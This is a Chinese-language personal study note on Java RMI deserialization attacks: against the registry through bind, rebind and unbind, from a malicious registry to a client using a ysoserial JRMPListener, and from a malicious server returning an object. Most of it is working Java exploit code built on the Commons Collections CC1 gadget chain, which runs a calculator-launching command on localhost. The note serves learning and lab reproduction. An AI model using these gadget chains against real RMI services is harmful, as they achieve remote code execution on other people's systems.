全文参考
https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F
做一些简单复现,在心里过一遍这个概念
攻击注册中心 之前看代码的时候知道RegistryImpl_Skel#dispatch
里面有几个方式,对应关系如下
0 —– bind
1 —– list
2 —– lookup
3 —– rebind
4 —– unbind
分别看下面几个方式
利用list()攻击 几个case只有list里面没有readObject,所以没什么攻击面,这里只能简单打印出信息
在RMIClient新建代码
1 2 3 4 5 6 7 8 9 10 // 针对 Registry 的 list 鸡肋攻击 import java.rmi.Naming; // 针对 Registry 的 list 鸡肋攻击 public class test { public static void main(String[] args) throws Exception{ String[] s = Naming.list("rmi://127.0.0.1:1099"); System.out.println(s); } }
bind()或rebind() 看一下源码,可以看到case0也就是bind里面有readObject
case2的rebind也是(不截图了)
这两个地方都存在反序列化点,参数是我们的参数名和远程对象
现在尝试用CC1,CC1最后面是 InvocationHandler.readObject()
,现在我们要让客户端的 bind()
方法执行 readObject()
。
RMI注册中心(Registry
)的 bind()
方法要求绑定的对象必须是 Remote
接口的实现类或其代理对象 。直接传入普通对象(如 InvocationHandler
)会因类型不匹配被拒绝
这里客户端收到信息是一个proxy对象,让proxy对象被执行的时候去调用readObject,所以我们有一个CC1生成的对象后要给他要一个动态代理的壳,以下是代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class [] { Remote.class }, handler)); registry.bind("test" ,remote); } public static Object CC1 () throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open -a calculator" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"111" ); Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformerMap); return o; } }
rebind同理,直接修改成 registry.rebind("test",remote);
也能弹计算机
unbind()和lookup() 这是lookup()和unbind()源码
这两个的思路是差不多的,我们看unbind(),unbind()里面只接收string类型的readObject
这里的思路是攻击者模仿RegistryImpl_Stub
的流程伪造请求数据,然后网络传输,服务端Skel处理数据,触发反序列化,然后中间涉及反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class test { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class [] { Remote.class }, handler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0 ].setAccessible(true ); UnicastRef ref = (UnicastRef) fields_0[0 ].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0 ].setAccessible(true ); Operation[] operations = (Operation[]) fields_1[0 ].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 4 , 4905912898345647071L ); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); } public static Object CC1 () throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open -a calculator" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"111" ); Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformerMap); return o; } }
攻击客户端 主要是在 unmarshalValue()
那个地方存在入口类
注册中心攻击客户端 对注册中心来说,有5个方法可以触发,除了unbind和rebind都会返回数据,返回的都是序列化的格式,所以会有客户端反序列化流程,如果我们控制注册中心给客户端发送的数据是恶意的,就能实现对客户端的攻击,这里直接用链子打
1 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'open -a calculator'
直接起一个1099服务,然后客户端执行
1 2 Registry registry = LocateRegistry.getRegistry("localhost" , 1099 );registry.list()
就会弹计算机
服务端攻击客户端 服务端返回恶意Object 远程方法调用的时候返回的数据除了String,还可以是Object,如果是Object就会有反序列化流程,所以操作空间在这里,现在伪造一个恶意的服务端,当被客户端调用的时候返回恶意Object
新建一个User接口
1 2 3 public interface User extends java .rmi.Remote { public Object getUser () throws Exception; }
接口实现,里面getUser方法返回一个恶意对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.Serializable;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;import java.util.HashMap;import java.util.Map;public class ServerReturnObject extends UnicastRemoteObject implements User { public String name; public int age; public ServerReturnObject (String name, int age) throws RemoteException { super (); this .name = name; this .age = age; } public Object getUser () throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open -a calculator" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"111" ); Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformerMap); return o; } }
服务端启动,把恶意对象绑定到注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class EvilClassServer { public static void main (String[] args) throws RemoteException, AlreadyBoundException { User liming = new ServerReturnObject ("flow" ,15 ); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("user" ,liming); System.out.println("registry is running..." ); System.out.println("liming is bind in registry" ); } }
客户端请求恶意方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class EVIlClient { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); User user = (User)registry.lookup("user" ); user.getUser(); } }
成功弹出计算机
加载远程对象 这部分利用条件太苛刻,不细看了
攻击服务端 这块不是很清晰,先略
小结 有些地方还不是很清晰,总体就是利用返回数据要反序列化这个点打,或者注册中心的几个方法,看起来有些手法已经过时或者太苛刻了,可学性不高。
匆匆写下这些,其实还不够全,后面再补上,本文内容无法做完知识参考,纯粹个人笔记。如有错误,欢迎指正。